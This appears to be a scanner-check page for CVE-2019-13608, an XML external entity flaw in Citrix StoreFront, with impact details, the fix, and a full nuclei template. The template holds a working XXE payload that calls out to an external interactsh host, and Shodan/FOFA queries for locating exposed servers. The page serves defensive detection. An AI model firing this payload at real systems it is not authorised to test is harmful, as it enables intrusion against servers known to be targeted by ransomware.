Citrix StoreFront Server - XML External Entity

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity

7.5CVSS score

30%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.

Impact

Attackers can read arbitrary files, perform server-side request forgery, or cause denial of service through XXE attacks.

Fix

Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR.

How to confirm it

Send: POST /Citrix/StoreAuth/ExplicitForms/Start
Positive when: contains in interactsh_protocol "http" AND contains in content_type "vnd.citrix.authenticateresponse" AND contains "<AuthenticateResponse" and "error-bad-request" AND status 200

Run it with nuclei: nuclei -id CVE-2019-13608 -u <target>

The full check

id: CVE-2019-13608

info:
  name: Citrix StoreFront Server - XML External Entity
  author: daffainfo
  severity: high
  description: |
    Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
  impact: |
    Attackers can read arbitrary files, perform server-side request forgery, or cause denial of service through XXE attacks.
  remediation: |
    Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR.
  reference:
    - https://www.exploit-db.com/exploits/47561
    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX251988
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13608
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-13608
    cwe-id: CWE-611
    epss-score: 0.30041
    epss-percentile: 0.98224
    cpe: cpe:2.3:a:citrix:storefront_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: citrix
    product: storefront_server
    shodan-query: "/Citrix/StoreWeb"
    fofa-query: "/Citrix/StoreWeb"
  tags: cve,cve2019,citrix,storefront_server,xxe,kev,vkev,vuln

http:
  - raw:
      - |
        POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/vnd.citrix.requesttoken+xml
        Accept: application/vnd.citrix.requesttokenresponse+xml, text/xml, application/vnd.citrix.authenticateresponse-1+xml

        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE requesttoken [<!ENTITY % xxe SYSTEM "http://{{interactsh-url}}"> %xxe; ]>
        <requesttoken xmlns="http://citrix.com/delivery-services/1-0/auth/requesttoken">
          <for-service>6b78ab94-a709-4e3a-8b9b-a49ca317c70c</for-service>
          <for-service-url>https://www.example.com/Citrix/Store/resources/v2</for-service-url>
          <reqtokentemplate />
          <requested-lifetime>1.00:00:00</requested-lifetime>
        </requesttoken>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: content_type
        words:
          - "vnd.citrix.authenticateresponse"

      - type: word
        part: body
        words:
          - "<AuthenticateResponse"
          - "error-bad-request"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from